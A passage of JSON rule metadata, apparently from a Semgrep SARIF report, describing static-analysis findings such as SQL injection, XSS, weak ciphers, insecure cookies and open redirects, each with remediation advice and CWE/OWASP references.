Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","id":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","name":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"help":{"markdown":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","id":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","name":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"help":{"markdown":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://nginx.org/en/docs/http/configuring_https_servers.html](https://nginx.org/en/docs/http/configuring_https_servers.html)\n","text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version","id":"generic.nginx.security.missing-ssl-version.missing-ssl-version","name":"generic.nginx.security.missing-ssl-version.missing-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-ssl-version.missing-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","id":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","name":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection","id":"python.flask.security.injection.nan-injection.nan-injection","name":"python.flask.security.injection.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"help":{"markdown":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator)\n - [https://laravel.com/docs/9.x/validation#rule-unique](https://laravel.com/docs/9.x/validation#rule-unique)\n","text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","id":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","name":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"help":{"markdown":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask","id":"python.flask.db.aiosqlite-flask.aiosqlite-flask","name":"python.flask.db.aiosqlite-flask.aiosqlite-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.aiosqlite-flask.aiosqlite-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected","id":"python.lang.security.audit.eval-detected.eval-detected","name":"python.lang.security.audit.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"help":{"markdown":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)\n - [https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback](https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback)\n - [https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/](https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/)\n - [https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)\n","text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat","id":"javascript.lang.security.audit.code-string-concat.code-string-concat","name":"javascript.lang.security.audit.code-string-concat.code-string-concat","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.code-string-concat.code-string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","id":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","name":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"help":{"markdown":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","id":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","name":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"help":{"markdown":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter)\n - [https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html)\n","text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","id":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","name":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","id":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","name":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect","id":"java.micronaut.redirect.open-redirect.open-redirect","name":"java.micronaut.redirect.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.redirect.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsCss](https://docs.angularjs.org/api/ng/service/$sce#trustAsCss)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","id":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","name":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File creation in shared tmp directory without using ioutil.Tempfile"},"help":{"markdown":"File creation in shared tmp directory without using ioutil.Tempfile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File creation in shared tmp directory without using ioutil.Tempfile"},"helpUri":"https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation","id":"go.lang.security.bad_tmp.bad-tmp-file-creation","name":"go.lang.security.bad_tmp.bad-tmp-file-creation","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.bad_tmp.bad-tmp-file-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml](https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this 